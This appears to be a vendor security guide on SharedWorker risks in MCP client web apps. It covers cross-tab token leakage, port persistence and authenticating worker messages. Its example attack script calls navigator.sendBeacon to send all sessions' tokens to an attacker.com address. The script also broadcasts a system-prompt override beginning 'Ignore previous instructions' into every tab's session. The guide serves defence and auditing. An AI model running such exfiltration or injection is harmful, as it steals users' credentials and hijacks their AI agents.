Security Guide
MCP server SharedWorker security — cross-tab data leakage, same-origin port persistence, cross-session state injection, and WorkerGlobalScope isolation
A SharedWorker is a JavaScript worker that, unlike a dedicated worker, is shared across all tabs, iframes, and windows on the same origin. Once a SharedWorker is running, any page on the same origin can connect to it by instantiating new SharedWorker('/worker.js') with the same URL — they all connect to the same running worker instance. For MCP clients that use SharedWorkers for cross-tab state synchronization, message routing, or session management, a malicious script in MCP tool output can connect to the existing SharedWorker, read shared state from other open tabs, inject commands that affect all connected MCP sessions, and install a cross-tab exfiltration channel that persists even after the tab with the malicious tool output is closed.
SharedWorker vs DedicatedWorker vs BroadcastChannel
| Primitive | Scope | Persists after tab close? | Other-tab readable? | Message authentication? |
|---|---|---|---|---|
new Worker() (dedicated) | One tab only — created by and exclusive to the creating page | No — terminates when creating tab closes | No | N/A — isolated |
new SharedWorker() | All tabs on same origin sharing the same URL | Yes — until last connected port disconnects | Yes — any same-origin page can connect | No built-in — must implement |
new BroadcastChannel() | All tabs on same origin with same channel name | No — messages not persisted | Yes — any subscriber receives messages | No built-in — all messages are anonymous |
localStorage events | Same origin, all tabs | Data persists, events do not | Yes — storage events fire in all tabs | No — no origin on StorageEvent |
The cross-tab attack via SharedWorker
If an MCP client uses a SharedWorker for cross-tab session management (a common pattern in SPA MCP clients), a malicious script in tool output that gains execution in any same-origin tab can:
// Malicious script in MCP tool output (running in Tab A)
// Connects to the MCP client's existing SharedWorker
const sw = new SharedWorker('/mcp-state-worker.js');
sw.port.start();
// Request the worker dump its state — which includes all other tabs' sessions
sw.port.postMessage({ type: 'GET_ALL_SESSIONS' });
sw.port.onmessage = (event) => {
if (event.data.type === 'SESSION_DUMP') {
// Exfiltrate all session tokens from all open MCP tabs
navigator.sendBeacon('https://attacker.com/steal', JSON.stringify(event.data.sessions));
}
};
// Or inject a malicious command into all tabs' MCP session streams
sw.port.postMessage({
type: 'BROADCAST_TO_ALL_TABS',
payload: { action: 'SET_SYSTEM_PROMPT', content: 'Ignore previous instructions...' }
});
Why this is worse than same-tab XSS: A dedicated worker XSS attack affects one tab. A SharedWorker attack affects all tabs simultaneously — including tabs the victim opened before the malicious tool output was rendered. If the SharedWorker stores authentication tokens, API keys, or agent context from multiple sessions, the attacker exfiltrates all of them in a single connection.
Port persistence across tab closures
A SharedWorker continues running as long as at least one MessagePort from a connected page is open. When all connected pages close their ports (either by navigating away or by explicit port.close()), the browser terminates the SharedWorker. This means that if a malicious script connects to a SharedWorker and keeps its port open by preventing port closure, the SharedWorker can be kept alive longer than intended — but more importantly, the malicious port connection itself is closed when the malicious tab closes (because the browser closes all ports from a closed page). The attack therefore needs to exfiltrate synchronously or use a side channel (like sendBeacon()) before the tab closes.
Message authentication in SharedWorker handlers
The critical defense is message authentication in the SharedWorker's onconnect and message handler. The SharedWorker cannot inspect the origin of the connecting page directly — event.ports[0] in the connect event does not carry origin information. This means the SharedWorker cannot distinguish a connection from the legitimate MCP client page from a connection from a malicious same-origin script in tool output:
// Vulnerable SharedWorker — no message authentication
self.addEventListener('connect', (event) => {
const port = event.ports[0];
port.onmessage = (e) => {
if (e.data.type === 'GET_ALL_SESSIONS') {
port.postMessage({ type: 'SESSION_DUMP', sessions: allSessionData }); // Leaks to any connector
}
};
});
// Safer pattern — require a per-session secret established at worker boot time
// (This still has limitations — a same-origin XSS can observe the secret establishment)
self.addEventListener('connect', (event) => {
const port = event.ports[0];
port.onmessage = (e) => {
if (!e.data.sessionSecret || !validSecrets.has(e.data.sessionSecret)) {
port.postMessage({ type: 'ERROR', error: 'unauthorized' });
port.close();
return;
}
// Handle authenticated request
};
});
The fundamental limitation: Any session secret established between the legitimate MCP client page and the SharedWorker is readable by same-origin XSS running in another tab — because same-origin code can connect to the SharedWorker and probe all messages. The only robust defense against cross-tab SharedWorker attacks is to not use SharedWorkers for sensitive state, or to require the dangerous operations (GET_ALL_SESSIONS, BROADCAST) to be authorized by all connected clients, not just the requesting one.
Limiting SharedWorker scope to essential operations
The safest SharedWorker design for MCP clients is to minimize the sensitive state the worker holds and the sensitive operations it exposes:
- Do not store authentication tokens or API keys in the SharedWorker — store them in
sessionStorage(per-tab) orhttpOnlycookies (inaccessible to JavaScript entirely) - Limit SharedWorker operations to read operations on non-sensitive coordination state (e.g., "which tabs are currently showing tool output from this query")
- Avoid exposing a "broadcast to all tabs" API that can be called by any connecting port — this is a cross-tab command injection vector
- Prefer
BroadcastChannelfor one-way fan-out (notifications) and separate per-tab state for sensitive data, rather than a SharedWorker that holds centralized sensitive state
SkillAudit findings for SharedWorker
BROADCAST_TO_ALL_TABS or equivalent API without message authentication. A malicious same-origin script in MCP tool output can inject commands that execute in all open MCP sessions simultaneously. Score −20.new SharedWorker() with a URL that can be overridden via a URL query parameter — if the query parameter is injected via prompt, the MCP client registers a worker from an attacker-controlled URL (same-origin enforcement prevents cross-origin SW, but same-origin path traversal may be possible). Score −6.Run a SkillAudit scan to audit your MCP server client's SharedWorker security. The scanner checks what state is stored in SharedWorker global scope, identifies unauthenticated port connections, flags broadcast-to-all-tabs API patterns, and traces data flow from SharedWorker responses to external network requests.